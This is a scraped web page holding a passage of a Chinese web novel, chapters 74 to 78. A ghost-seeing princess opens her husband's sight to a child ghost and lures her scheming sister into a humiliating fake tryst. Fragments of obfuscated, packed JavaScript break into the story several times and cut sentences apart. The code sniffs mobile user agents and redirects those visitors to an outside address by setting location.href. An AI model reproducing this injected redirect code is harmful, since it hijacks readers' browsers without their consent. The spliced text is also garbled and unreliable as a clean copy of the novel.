l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17436421|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地,身形还有些不稳,像一缕随时会被风吹散的青烟。 她怯生生地抬起头,那张模糊不清的脸正对着安槐。 她能感觉到鬼婴身体里巨大的能量。 自然也能感觉到安槐的恐怖。 一点儿都不敢挣扎反抗。 靳朝言站在一旁,看着空无一物的地面,眉头拧成了一个疙瘩。 他觉得自己有点寂寞了。 参与了,又好像没参与。 但眼前显然正有一件热闹的事情。 安槐居高临下看着小女鬼。 “我见过你。” 她陈述道,语气笃定。 小女鬼怯怯的点了点头。 她似乎想上前一步,又因为后心那片槐树叶的**而动弹不得,只能在原地急切地飘了飘。 “姐姐。”小女鬼说:“我不害人的,我就是……我也不知道怎么的,就到了这里。” 安槐还没说话,靳朝言耐不住了。 “夫人,你在跟谁说话?” 安槐连头都没回,目光依然锁定在那小女鬼身上,嘴里却回答了他的问题。 “一个小朋友,她很可能是折骨案里的一个受害者。就是那个,骨头被抽走的小女孩。” 靳朝言的心脏猛地一跳。 他更好奇了。 “我……” 靳朝言的喉结滚动了一下,问出了一个自己都觉得荒谬绝伦的问题。 “能让我看见她吗?” 话一出口,他自己都觉得离谱。 可转念一想,鬼婴他都认了干儿子,每天“爹、爹”地叫着,还有什么比这更离谱的? 既然已经踏入了这片神秘领域,干脆就一脚踩到底。 安槐终于舍得回过头看他了。 她的眼神里带着一丝审视,像是在评估一件工具的堪用程度。 半晌,她点了点头。 “可以。” 靳朝言精神一振。 “不过,王爷你不害怕吗?” “无妨。”他答得斩钉截铁。 他只是不习惯人鬼殊途,要说怕,乱葬岗里的鬼婴都不怕,这可是在自己王府里,还能比那更可怕。 安槐没再多言,只是朝他走近了一步。 两人之间的距离瞬间被拉近,近到靳朝言能清晰地闻到她身上那股独特的、如同雨后槐花的清冷香气。 “闭眼。” 她轻声说。 第74章 折骨,渡一口阴气 靳朝言虽然不解,但还是依言闭上了双眼。 眼前陷入一片黑暗,其他感官却因此变得格外敏锐。 他能感觉到她微凉的呼吸,拂过他的脸颊,带来一阵细微的战栗。 然后,他感觉到一双带着凉意的手,轻轻捧住了他的脸。 手指的触感细腻,却没什么温度,像上好的冷玉。 靳朝言的心跳漏了一拍。 她要干什么? 下一秒,一个清冷的声音在他耳边响起。 “张嘴。” “……” 靳朝言的脑子里瞬间闪过无数香艳旖旎的话本子情节。 他猛地睁开眼,看到的却是安槐那双清澈见底、毫无杂念的眸子。 她正一脸坦然地看着他。 显得他脑子里那些废料,格外龌龊。 靳朝朝深吸一口气,再次闭上眼,像是奔赴刑场一般,微微张开了嘴。 他以为会是什么丹药,或者符水。 然而,他等来的,却是一片柔软与冰凉。 安槐的唇,覆上了他的。 紧接着,一股冰凉至极的气流,从她的口中,渡入了他的口腔。 那股气,冷得像三九寒冬的冰凌,顺着他的喉管一路向下,瞬间窜遍四肢百骸。 靳朝言浑身一激灵,感觉自己的天灵盖都快被这股寒气掀开了。 他下意识地想后退,后脑却被安槐稳稳地按住,动弹不得。 直到那股气流尽数渡入,她才松开了他。 整个过程,不过短短一瞬。 靳朝言僵在原地,大脑一片空白。 冰冷之后,一股热气不受控制地从脖子根往上窜,瞬间染红了他的耳廓,连带着那道从眉骨延伸到脸颊的疤痕,都似乎变得滚烫。 安槐却像个没事人一样,退后一步,上下打量着他,像是在检查一件刚调试好的仪器。 她看着他泛红的耳根,面无表情地评价。 “气血挺旺。” “看来死不了。” 靳朝言:“……” 他现在很想死一死。 虽然屋子里只有他们两个活人,可不是还有个小女鬼吗? 这种亲密的事情,当人家孩子面做好吗? “你……”他好不容易找回自己的声音:“你这是……” “渡你一口阴气,开天眼。” 安槐解释得言简意赅。 “玄学上的事,跟你说你也不懂。” “十二个时辰内,可以看见一些常人看不见的东西。” “不过普通的灵体看不见,只有那些怨气冲天的,灵力强大的你才能看见。” “睁眼吧。”安槐说:“看看你的新世界。” 靳朝言压下心头那点复杂的情绪,深吸一口气,缓缓睁开了眼睛。 世界,还是那个世界。 房间里,也还是那些熟悉的陈设。 只是,在他的视野里,多了一个小女孩。 约莫六七岁的年纪,穿着洗得发白的旧布裙,梳着两个丫髻,正可怜巴巴地站在安槐方才指定的位置。 她的四肢,以一种极为松垮的姿态连接着身体,仿佛随时会散架。 最诡异的,是她的脸。 那张脸上没有眼睛,没有鼻子,没有嘴巴。 五官的部分,像是被人用一块湿抹布胡乱抹过,只留下一团模糊不清的、水墨画般的晕染痕迹。 饶是靳朝言胆大包天,在毫无防备地看到这样一幅景象时,心头也不由得一紧。 这比任何血肉模糊的尸体,都来得更加阴森,更加诡异。 小女鬼似乎也察觉到了他的注视,那团模糊的“脸”转向他,微微歪了歪。 “呀……” 她发出了一声稚嫩的惊叹。 “又多了一个能看见我的人。” 靳朝言沉默着,将视线从她身上移开,转向安槐。 安槐神色如常,显然对这副尊容**以为常。 她重新将目光投向小女鬼,开始了正式的问询。 “你叫什么?” 小女鬼那团模糊的脸上,似乎流露出一种茫然的情绪。 “我……我不记得了。” “家住何处?父母是谁?” “也不记得了……” “那你记得什么?”靳朝言忍不住插话。 小女鬼被他一身浓重的阳气和煞气一冲,身形晃了晃,变得更透明了些。 她似乎有些害怕,下意识地往安槐的方向缩了缩。 安槐瞥了靳朝言一眼,眼神里写着“温柔点”。 靳朝言:“……” 行。 安槐的声音放缓了些,带着一种奇异的安抚力量。 “别怕,想想看,你最后记得的画面是什么?” 小女鬼沉默了很久,久到靳朝言都以为她已经消散了。 然后,她那空灵的声音才再次响起,带着一丝颤抖。 “疼……” “好疼……” “我好像……被人装在一个黑黑的、很硬的箱子里。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441218|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱子外面,有很多人在念奇怪的东西,声音很大,吵得我头疼。” “然后……然后我就什么都不知道了。” “等我再有意识的时候,就已经在这里了。” 她指了指王府的方向。 “我感觉这里有……同类的气息,很强大,很吸引我,我就过来了。” 她说的同类,显然是指安槐和团子。 安槐微微眯起了眼。 箱子?念奇怪的东西? 听起来,像某种封印或者献祭的仪式。 “你的脸和记忆,为什么会这样?”安槐问出了关键。 “我不知道……”小女鬼的声音里充满了委屈和迷茫,“我一‘醒’过来,就是这样了。我想不起以前的事,也看不清自己的样子。” 靳朝言眉头紧锁,这线索,等于没有。 一个记不起任何关键信息的鬼魂,怎么查? 安槐却像是捕捉到了什么。 “王爷,还记得我们去过的万贤山庄吗?要是我估计不错,这小女孩的魂魄,就是万贤山庄要抹去的。” “有人想她你魂飞魄散,永世不得超生。” “她的五官模糊,记忆不全,就是因为这个阵法抹去了作为‘人’存在过的大部分痕迹。” 靳朝言心中一凛。 “这个阵法,就是专门为她而设的。” 小女鬼的身形剧烈地颤抖起来,似乎是“万贤山庄”这四个字触动了她残存的某些记忆,让她感受到了极致的恐惧。 靳朝言的脸色也变得无比难看。 “因为阵法在中途被人破了。” 安槐说:“如果等一个完整的灭魂阵走完,她就会变作是一缕青烟,彻底消散于天地间了。” “但现在,阵法只走了一半,就被强行中止。所以她只被抹去了一部分记忆和形态,魂体尚存,甚至还保留了一丝怨气,让她得以逃脱,四处寻找生机。” “那现在怎么办?”靳朝言看向安槐,不知不觉间,已经将她当成了主心骨。 破案他可以,但确实第一次遇见鬼。 “记忆可以被抹去,但魂魄对故地的感应,却很难被彻底斩断。” 安槐走到小女鬼面前,伸出手,轻轻揭下了她后心那片槐树叶。 “今晚,你带我们去你被害的地方。” “就算什么都想不起来,总该有点印象。” “我们去现场,看看能不能帮你找回一点……属于你自己的东西。” 第75章 折骨,安明珠的婚事 安槐在那片槐叶上轻轻一捻,叶片便化作一缕几不可见的青烟,消散无踪。 束缚一去,小女鬼的身子猛地一松,像是从紧绷的弦上被释放。 她下意识地飘忽了一下,却又在接触到安槐的眼神时,瞬间定住了身形,乖巧得像个刚被训完话的学童。 她毫不怀疑,眼前这个漂亮的不像活人的姐姐,能用一百种方法让她再也飘不起来。 实力差距过大,怂是唯一的出路。 “离天黑还有几个时辰。你就待在团子的房间里。” 她伸手指了指后院的方向。 “不要乱跑,不要出声,更不要去吓唬人。” “否则……” 安槐没有说下去,但那未尽之言带来的威胁,比任何恶毒的诅咒都让小女鬼魂体发颤。 小女鬼忙不迭地点着那团模糊的脑袋,像小鸡啄米。 “姐姐放心,我一定乖乖的。” 说完,她化作一道极淡的影子,乖巧的坐在了床边,两手托着下巴,看着团子。 靳朝言他沉默了半晌,喉结滚动了一下,看向安槐。 总感觉哪里怪怪的,又说不出来。 下面就没事儿了。 剩下就是等。 “鬼有鬼的规矩,夜有夜的道场。” “白天阳气太盛,会压制她的感知。到了子时,阴气最重,才是我们出发的最佳时机。” “王爷若是有公务要忙,可以自便。” “到了时辰,我会叫你。” 靳朝言摸了摸自己的脸颊,那道狰狞的疤痕似乎还残留着她指尖的凉意。 他沉默了一下,转身出去了。 不要大惊小怪,大千世界本就无奇不有。 走出房门,杭玉堂和诸元正像两尊门神一样守在外面。 见他出来,两人齐齐行礼。 “王爷。” 靳朝言的脸色还有些不自然,他沉着脸,摆了摆手。 “无事。” 三皇子府里人鬼交流如此和谐,而此时的永安侯府,却被一片愁云惨雾所笼罩。 清明院里。 侯夫人顶着两个硕大的黑眼圈,形容憔悴,正襟危坐。 她的面前,摆着一碗上好的人参燕窝粥,可她却一口都喝不下去。 这两日,她快被折磨疯了。 嬷嬷带回不好的消息。 安槐一毛不拔。 张嬷嬷叹了口气,低声道:“王妃的意思,是让咱们府上多做善事,积些阴德,或许……或许就能化解了。” 一提到做善事,侯夫人的心就像被针扎了一下,疼得厉害。 “善事!善事!拿什么去做善事?” 她一拍桌子,声音都变了调。 “府里现在什么光景你不知道吗?家底都被那个灾星卷走了大半!” “现在府里的开销,已经是拆了东墙补西墙,勉强维持着侯府的体面。” “再拿钱出去做一场**事,办一个善堂?那我们接下来是不是就要喝西北风了?” 侯夫人越说越气,捂着胸口喘着粗气。 以前的永安侯府,虽算不上顶级豪门,却也是家底殷实,富贵安逸。 可自从安槐嫁出去,以“嫁妆不足”为由,软硬兼施地从府里卷走了大半的现银、铺子和田庄,侯府的财政状况便一落千丈。 如今真是穿个绫罗绸缎都得算计着布料,生怕多费了一寸。 正在侯夫人一筹莫展之际,门外有丫鬟通传。 “夫人,王媒婆来了,说是有大喜事要跟您说。” 侯夫人皱了皱眉,一脸不耐。 “王媒婆?她来做什么?府里还有谁要说亲事不成?” 话音刚落,一个穿着花团锦簇的袄子,满脸堆笑的中年妇人已经扭着腰走了进来。 人未到,声先至。 “哎哟,我的侯夫人!大喜。” 侯夫人懒得跟她兜圈子,端起茶杯抿了一口。 “王媒婆有话直说,我这会儿正心烦着。” 王媒婆也不恼,笑呵呵地凑近了些,压低了声音。 “夫人,老身是来给府上二小姐说亲的。” 侯夫人皱了眉:“谁家的亲?” 安槐已经出嫁,后面确实可以考虑安明珠的婚事了。 但她一直心疼安明珠,自然想千挑万挑一个好的,不那么着急。 王媒婆说:“夫人,您还知道陈家商铺吗?” 侯夫人眉头一挑,眼底闪过一丝轻蔑。 “一个生意人,记得他做什么?” 在她看来,满身铜臭的商贾,根本不配入她的眼。 “哎哟,我的好夫人!”王媒婆一拍大腿:“您可不能这么想!我今天来,就是替他家的大公子,来向府上的二小姐提亲的!” “什么?” 侯夫人像是听到了什么天大的笑话,手里的茶杯重重往桌上一放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441219|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你再说一遍?给明珠说亲?一个商贾之子?” “简直是滑天下之大稽!” 王媒婆连忙摆手,脸上笑容不减。 “夫人,您先别动气,听我把话说完嘛。” “这陈家,可不是一般的生意人。您是没瞧见,那家里的金银珠宝,堆得跟山似的!京城里一半的绸缎庄都是他家的!” “他们家就这么一个独苗,宝贝得跟眼珠子似的。这次求娶二小姐,可是诚心诚意,拿出了天大的手笔!” 她伸出五根手指头,在侯夫人面前晃了晃。 “聘礼,黄金五千两!” 侯夫人的呼吸一窒。 “绫罗绸缎,奇珍异宝,另算!最要紧的是……”王媒婆凑得更近,声音压得更低,充满了诱惑。 “他们家说了,知道侯府是清贵人家,不重这些阿堵物。所以,二小姐嫁过去,不必……带一分一毫的嫁妆!” “他们家,还会另外备上一份厚礼,孝敬您和侯爷,感谢您二位教养出这么好的女儿!” 轰的一声。 侯夫人的脑子里像是有什么东西炸开了。 五千两黄金? 不用陪嫁妆? 还有额外的孝敬? 这哪里是娶媳妇,这分明是上门送财神爷啊! 她那颗因为缺钱而干瘪的心,瞬间就被这金光闪闪的条件给浸润地舒展开来。 可面子上,贵族的矜持还是要有的。 她轻咳一声,端起架子。 “钱财乃身外之物,我永安侯府,岂是那种卖女儿的人家?” “话虽如此,可明珠的婚事,总归要讲究个门当户对。” “他陈家,说到底,不过一介商户,上不得台面。” 王媒婆是个人精,哪里看不出侯夫人的心动。 她立刻顺着杆子往上爬。 “夫人说的是!门当户对,太重要了!” “可您想啊,正因为他家是商户,咱们二小姐嫁过去,那是什么地位?” “那不是儿媳妇,那是活菩萨!是老祖宗!” “他陈家上下,谁敢给二小姐半点气受?以后那万贯家财,不都得听二小姐的?二小姐一进门,就是当家主母,说一不二!” “这要是嫁个同等爵位的,上面有婆婆压着,平辈有妯娌比着,哪有这么舒心自在?” 王媒婆一番话,说得侯夫人确实动心了。 第76章 折骨,王爷成了鱼饵 是啊。 有钱,还没地位。 这不正是最好拿捏的人家吗? 明珠嫁过去,就是人上人,要风得风,要雨得雨。 最关键的是,府里现在急缺钱。 侯夫人的心思活络开了。 自家还有个侯爷的爵位,儿子也在朝中为官。 安槐虽然跟家里不亲近,可她三皇子妃的身份摆在那儿,血脉关系是断不掉的。 谁敢真的小瞧了永安侯府? 也不必靠安明珠高嫁拉关系,安明珠那性子没有城府,真要嫁给皇子郡王的,说不定还要坏事。 这么一想,这门亲事,简直是百利而无一害。 见侯夫人脸色松动,王媒婆知道这事儿成了七八分,连忙又加了一把火。 “夫人,真金白银不会骗人,府上有权,陈家有钱,这可不是互助互利吗?” 侯夫人彻底心动了。 但这么大的事,她一个人也做不了主。 她沉吟了片刻。 “此事事关重大,还需等侯爷回来,我们夫妻二人商议之后再做定夺。” “你先回去吧,有了消息,自会派人通知你。” 王媒婆一听这话,就知道是成了。 她喜笑颜开地站起身,行了个福礼。 “那我就等夫人的好消息了!我老婆子敢打包票,这京城里,再也找不出比这更好的亲事了!” 说完,她心满意足地扭着腰走了。 …… 当晚,侯爷派人捎信回来,说是在外面与几位同僚在酒楼吃酒,会晚些回来,让夫人不必等他。 侯夫人左等右等,眼皮越来越沉,终是抵不住连日来的疲惫,歪在榻上睡着了。 而在另一头的芳菲院里,安明珠却是一夜无眠。 她还被关在自己的院子里,形同禁足。 晚间,一个送饭来的小丫鬟面色有异,被她一眼瞧了出来。 在她的厉声逼问下,那小丫鬟才战战兢兢地将白天王媒婆上门提亲的事说了出来。 “啪!” 安明珠将手里的碗狠狠摔在地上,精致的瓷器四分五裂。 “你说什么?”她的声音里淬着冰:“母亲要将我嫁给一个商户之子?” 小丫鬟吓得跪在地上,瑟瑟发抖。 “是……是城南陈家的……” “滚!”安明珠一声怒喝。 哪家也不行! 小丫鬟如蒙大赦,连滚带爬地跑了出去。 房间里,只剩下安明珠一个人。 她的胸口剧烈地起伏着,一张俏脸因愤怒而扭曲。 嫁给一个生意人? 她堂堂永安侯府的二小姐,竟然要嫁给一个满身铜臭的商贾? 她知道,一旦嫁入商户,她这辈子就算完了。 即便有再多的钱,也洗不掉商户人家的底色,永远也挤不进真正的权贵圈子。 她将再也没有威风,再也没有机会在那些贵女面前扬眉吐气。 更重要的是,她将永远被安槐踩在脚下! 安槐嫁的是皇子,是未来的亲王,是天家贵胄! 而她,却要嫁给一个连官身都没有的商人? 凭什么! 凭什么安槐那个从乡下回来的野丫头能一步登天,而她却要沦落到这般田地! 不!她不甘心! 她绝不认命! 夜色渐深,窗外风声鹤唳。 安明珠在房中焦躁地踱步,绞尽脑汁地想着对策。 就在这时,窗户传来一声轻微的“叩叩”声。 安明珠浑身一僵,惊恐地望向窗边。 “谁?” 窗外没有人应声。 紧接着,房门被人从外面用巧劲一推,门闩应声而断。 一道黑影,如鬼魅般闪了进来。 “啊!”安明珠吓得尖叫出声,下意识地就要喊人。 “救……” 她刚喊出一个字,那黑影已经欺身而近,一只手快如闪电,捂住了她的嘴。 “二小姐,别出声!” 一个低沉的男声在她耳边响起。 安明珠惊恐地睁大眼睛,剧烈地挣扎着。 她想喊守在门口的丫鬟,却发现外面一点动静都没有。 完了。 难道是府里闹鬼,那小鬼找上她了? “二小姐,在下并无恶意。” 那人似乎看出了她的恐惧,放缓了语气。 “您先冷静下来,听在下说一句话,可好?” 他的声音沉稳有力,带着一种令人信服的力量。 安明珠的挣扎渐渐停了下来,只是那双杏眼,依旧死死地瞪着他。 那人见她不再挣扎,这才缓缓松开了手。 安明珠立刻后退几步,拉开距离,借着昏暗的烛光打量着眼前的不速之客。 来人一身黑衣,身形挺拔,面容算不上英俊,却棱角分明,一双眼睛在夜色中亮得惊人。 正是时逸明。 “你是谁?为何闯进我的房间?”安明珠的声音带着颤抖,但还是强撑着质问道。 她看到门口,自己的大丫鬟满冬已经悄无声息地歪倒在地上,显然是被人弄晕了。 时逸明对着她一抱拳。 “在下奉主子之命,特来请二小姐出去一见。” “你的主子?”安明珠警惕地看着他:“你的主子是谁?” 时逸明微微一笑,说出了一句让她心神巨震的话。 “我的主子,是三皇子殿下。” 安明珠的脑子“嗡”地一声,瞬间一片空白。 三皇子? 他派人来找自己做什么? 她根本不信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442781|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>“你胡说!”她厉声道:“你有什么证据证明你是三皇子的人?” 时逸明也不多言,从怀中摸出一样东西,递了过去。 那是一块玄铁令牌,入手冰凉,上面雕刻着一只狰狞的麒麟,背面是一个龙飞凤舞的“言”字。 这正是靳朝言的亲卫令牌。 京中权贵,无人不识。 安明珠看着那块令牌,手都开始发抖了。 真的是……真的是三皇子的人! 可是,为什么? 三皇子为何会在深夜派人潜入侯府,来见自己? 他不是,不是看不上自己吗? 她心中又是惊恐,又是疑惑,还有一丝连她自己都没察觉到的……隐秘的期待。 时逸明将她的神情尽收眼底,心中暗道一声“王妃料事如神”,随即按照安槐事先教好的说辞,不疾不徐地开口了。 “二小姐不必惊慌。” “殿下那日在宫中,遥遥见过二小姐一面。” 时逸明的声音里,带着一丝恰到好处的感慨和惋惜。 “殿下说,京中贵女如云,却无一人能及二小姐的风华与气度。” “只一眼,便……惊为天人。” 安明珠的心,猛地漏跳了一拍。 她……她没听错吧? 三皇子对她……一见钟情? 时逸明看着她那副又惊又喜、不敢置信的模样,继续添柴加火。 “只是,殿下刚刚大婚,王妃……也就是您的大姐,性子又善妒,眼里揉不得沙子。” “殿下怕此时表露心意,会给二小姐招来闲话与麻烦,这才一直隐忍不发。” “可今日听闻……侯府似乎有意为二小姐另择佳婿……” 时逸明顿了顿,叹了口气。 “殿下实在是……坐不住了。” “他怕明珠蒙尘,被错许了人家,这才斗胆命在下深夜前来,想请二小姐出去一见,将心意……亲口对您说明。” 一番话,说得是情真意切,跌宕起伏。 安明珠彻底听傻了。 原来……原来是这样! 三皇子早就看上她了! 只是因为顾忌安槐那个妒妇,才不敢声张! 她就说! 像三皇子那样的英雄人物,怎么会真心喜欢安槐那个乡下丫头? 原来,他心里真正喜欢的,是自己! 巨大的狂喜,如潮水般将她淹没。 前一刻,她还在为要嫁给商户而绝望。 这一刻,却仿佛已经看到了自己飞上枝头变凤凰的光明未来! 她的脸颊泛起红晕,眼中水光潋滟,哪里还有半分刚才的愤怒与不甘。 她看着时逸明,声音都软了下来,带着一丝娇羞。 “那……殿下,现在在何处?” 第77章 折骨,私会野男人 时逸明看着安明珠那副娇羞无限、浮想联翩的模样,心中只觉得安家真是一个神奇的地方。 安家小姐,都不正常。 一个毫不犹豫的半夜私会外男。 一个用自己丈夫的名声钓鱼。 偏偏殿下也愿意纵着皇子妃胡闹,真是三个都不正常。 他维持着一副忠心耿耿又略带为难的表情,声音压得更低。 “殿下此刻,正在月亮河畔的柳树下等您。” “那里僻静,不会有人打扰。” “二小姐,事不宜迟,殿下千叮万嘱,务必速去速回,以免被王妃发现端倪。” 月亮河? 安明珠的心跳得更快了。 那可是京城有名的情人相会之地,风光旖旎,最是浪漫。 三皇子殿下,竟有这般柔情心思! 她脑中瞬间上演了一出英雄救美、情深不悔的年度大戏,男主角是靳朝言,女主角自然是她安明珠。 至于安槐,最多算个棒打鸳鸯的恶毒女配。 “好好好,我……我马上就来!” 安明珠提着裙角,转身就要往梳妆台跑。 “我得换件衣裳,梳个头发……” 时逸明立刻“尽职尽责”地上前一步,拦住了她。 “二小姐,来不及了!” 他语气焦急,情真意切。 “殿下说,您天生丽质,无需粉黛,任何装扮都是对您容貌的亵渎。” “您现在这样,就已是倾国倾城。” 这话,安槐教他说的时候,他差点把隔夜饭吐出来。 但此刻从他嘴里说出来,配上那副严肃又推崇的神情,杀伤力堪称惊人。 安明珠果然被哄得晕头转向,一张脸红得能滴出血来。 “当……当真?” “殿下亲口所言,在下不敢有半句虚言。” 时逸明斩钉截铁。 “好……好吧。” 安明珠被这突如其来的幸福砸昏了头,整个人都飘飘然了。 她随手从首饰盒里抓了两支最贵重的金步摇插在发间,又理了理衣襟,觉得镜中的自己美得不可方物。 “我们走!” 她看了一眼地上昏迷不醒的满冬,没有半点关心,反而觉得她碍事。 “你在这儿守着,别让人发现我出去了。”她对着空气和昏迷的丫鬟吩咐了一句,便迫不及待地跟着时逸明往外走。 两人一前一后,如狸猫般潜行在深夜的侯府。 时逸明身手矫健,落地无声。 安明珠则因为太过兴奋,脚下有些发飘。 在路过一处假山时,时逸明脚下似乎“不小心”一滑,胳膊肘撞在了一盆摆在路边的兰花上。 “哐当——” 一声清脆的碎裂声在寂静的夜里,显得格外刺耳。 安明珠吓得捂住了嘴。 时逸明立刻回身,做了个“噤声”的手势,面色“凝重”地拉着她加快了脚步,迅速消失在夜色中。 他走后,那片黑暗的角落里,他的身影再次一闪而过,确认那声音足够传到主院,这才满意地彻底隐去。 …… 清明院。 侯爷刚从外面的酒局回来,带着一身酒气,正被侯夫人念叨着。 “这么晚才回来,又喝了多少?你看看你,一把年纪了,也不知爱惜身子!” 侯爷不耐烦地摆摆手。 “行了行了,不过是跟几个同僚小酌几杯,谈些朝中要事。” 他刚坐下,准备喝口醒酒汤,那声“哐当”就传了过来。 夫妻俩同时一愣。 侯夫人的第一反应是。 下人怎么这么不仔细?吵吵闹闹的。 侯爷久在官场,警觉性比她高得多,他立刻竖起耳朵,眉头紧锁。 “不对,这声音……是从明珠的芳菲院那边传来的。” “来人!” 侯爷一声低喝。 院外的护院统领立刻推门而入。 “侯爷,夫人。” “去看看,芳菲院出了什么事。” “是!” 护院统领领命而去,不过片刻,便脸色难看地回来复命。 “侯爷,夫人,不好了!” “二小姐……二小姐她不见了!” “什么?”侯夫人惊得从椅子上站了起来。 “二小姐的贴身丫鬟满冬被人打晕在房门口,二小姐不见了。” 侯爷气得脸都白了:“她竟然跑了,赶紧给我找。” 护院统领连忙领命去了。 时逸明走的时候,特意留下了不少线索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444717|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又是脚印,又是一路碰掉的东西。 护院一路追到了后门。 回来报告:“二小姐,怕是偷偷出门去了。但是在路上发现了两个脚印,除了二小姐的,还有一对脚印……” 护院支支吾吾:“应该是个男人的脚印。” 侯夫人的脸“刷”地一下白了。 女儿深夜失踪,还跟着一个男人。 这要是传出去,永安侯府的脸面还要不要了?安明珠这辈子也毁了! “岂有此理!” 永安侯气的浑身发抖,一巴掌拍在桌子上,茶杯都被震得跳了起来。 “这个孽障!她是要把我们侯府的脸都丢尽吗!” 他以为是安明珠为了反抗商贾的婚事,跟哪个野男人私奔了。 “还愣着做什么!”侯爷对着护院统领怒吼。 “马上带人去追!悄悄的,不要声张!” “记住,把人给我囫囵个儿带回来!至于那个野男人……打断他的腿,割了他的舌头。让他说不出半个字来!” “是!” 月亮河畔,晚风****,柳丝轻垂。 时逸明将安明珠带到河边,指着不远处最大的一棵柳树。 “二小姐,殿下就在那棵树下。” “在下的任务已经完成,就先行告退了。” 说完,他一抱拳,身影一闪,便融入了浓稠的夜色之中,深藏功与名。 安明珠一颗心已经提到了嗓子眼。 她深吸一口气,整理了一下发鬓,又拉了拉衣袖,确保自己仪态万方,这才迈着莲步,款款走向那棵柳树。 月光下,树下确实有个身影,正背对着她,似乎在凭栏远眺。 那身影……似乎比想象中要佝偻一些? 也许是殿下戎马倥偬,太过辛劳了吧。 安明珠在心中为对方找好了借口。 她走到那人身后,用自己毕生最温柔、最婉转的声音,柔柔地唤了一声。 “殿……殿下?” 那人身子一僵,缓缓地转了过来。 借着朦胧的月光,安明珠看清了那张脸。 一张布满胡茬、满面油光、眼窝深陷的脸。 一股浓烈的、劣质的酒气混合着汗臭味,扑面而来。 “嗝……” 第78章 折骨,妄想 那“殿下”打了个响亮的酒嗝,一双浑浊的眼睛直勾勾地盯着安明珠,嘿嘿一笑,露出一口大黄牙。 “小娘子……你叫我?” 安明珠脑子里“嗡”的一声,仿佛被一道天雷劈中,整个人都僵在了原地。 这……这是谁? 这不是三皇子! 这是一个浑身肮脏、满口黄牙、喝得酩酊大醉的……流浪汉? “你是什么东西?滚开!” 安明珠的幻想瞬间破碎,巨大的羞辱和恐惧涌上心头,她尖叫着后退。 那醉汉却像是看到了什么绝世美味,摇摇晃晃地就朝她扑了过来。 “别走啊,美人儿……陪大爷喝一杯……” “啊——!救命啊!” 安明珠花容失色,转身就跑。 就在那醉汉的脏手即将碰到她衣袖的瞬间,两道黑影从天而降。 “砰!” 醉汉被一脚踹出三米远,滚在地上,不省人事。 “二小姐!” 两个侯府的护院面沉如水地出现在安明珠面前。 “请您跟我们回去。” 安明珠看着眼前的一切,又惊又怒又怕,浑身的血液都凉了。 她知道,自己完了。 …… 清明院里,灯火通明,气氛却冷如冰窖。 安明珠被两个护院一左一右地“请”了回来,跪在堂中,哭得梨花带雨。 永安侯和侯夫人坐在上首,脸色一个比一个难看,简直能滴出墨来。 “说!” 永安侯强压着怒火,声音像是从牙缝里挤出来的。 “那个男人是谁!你为什么要跟他深夜私会!” 安明珠哭着摇头,嗓子都哑了。 “父亲,母亲,不是你们想的那样!那个人我根本不认识!” “是三皇子殿下约我的!真的是三皇子殿下!” 侯夫人气得眼前发黑,指着她骂道:“你还敢胡说八道!三皇子?你是不是疯了?他可是你姐夫!这种话传出去,我们全家都要跟着你掉脑袋!” “是真的!”安明珠急得口不择言,将时逸明那套说辞原封不动地搬了出来。 “他派人拿着令牌来找我,说对我一见倾心!” “他说大姐姐性子善妒,要是被她知道了定要闹。他们刚成婚,闹出来不好。又怕母亲将我错许给商户,这才偷偷约我相见!” 她一边说,一边哭,情真意切。 永安侯夫妻俩听得目瞪口呆。 这番话,每一个字都透着离谱,每一个词都写着荒唐。 “简直一派胡言!” 永安侯气得抄起桌上的茶杯就想砸过去,但看着女儿哭得惨兮兮的脸,又硬生生忍住了。 